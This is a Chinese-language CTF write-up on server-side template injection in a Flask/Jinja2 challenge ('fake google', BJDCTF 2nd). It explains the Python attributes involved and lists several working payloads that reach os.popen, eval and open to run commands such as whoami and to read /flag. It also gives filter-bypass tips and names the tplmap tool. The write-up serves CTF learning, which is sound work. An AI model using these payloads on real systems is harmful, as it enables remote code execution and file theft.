上週BJDCTF有一道ssti注入題,當時瞎貓碰上死耗子,給我撞過去了。對Python,平常也沒有C++和java用的頻繁,記錄一下正常思路。順便學習一下,以後遇到了不能光靠運氣撞過去了= =
一些簡單注入
{{config}}可以獲取當前設置
{{self}}
{{self.__dict__._TemplateReference__context.config}} 同樣可以看到config
__class__ 返回類型所屬的對象
__subclasses__ 每個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
__init__ 類的初始化方法
__globals__ 對包含函數全局變量的字典的引用
__mro__ 返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。
__bases__ 返回該對象所繼承的基類
__builtins__是做爲默認初始模塊
[BJDCTF 2nd]fake google
大部分都是先查找warnings.catch_warnings模塊中的OS模塊,如果關鍵字被禁用了,可以用base64或者字符串拼接過去比如說'o'+'s'
還可以用tplmap這個工具進行檢測是否有模板注入漏洞,用法有點像sqlmap。
第一種
().__class__.__bases__[0].__subclasses__()
---查看可用模塊
().__class__.base__.__subclasses__().index(warnings.catch_warnings)
可以查看當前位置,不過題目環境不能用。手動數吧= = 169位
{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
發現可以執行,構造命令
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
沒有什麼過濾= =友好!
第二種
或者找到os._wrap_close模塊 117個
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('dir').read()}}
當前文件夾
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}
來打開文件,payload有很多慢慢摸索慢慢積累= =
第三種
我的payload:
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
我找的threading.Semaphore模塊。。
參考
CTF SSTI(服務器模板注入)
BJDCTF-WP
SSTI/沙盒逃逸詳細總結
https://xz.aliyun.com/t/3679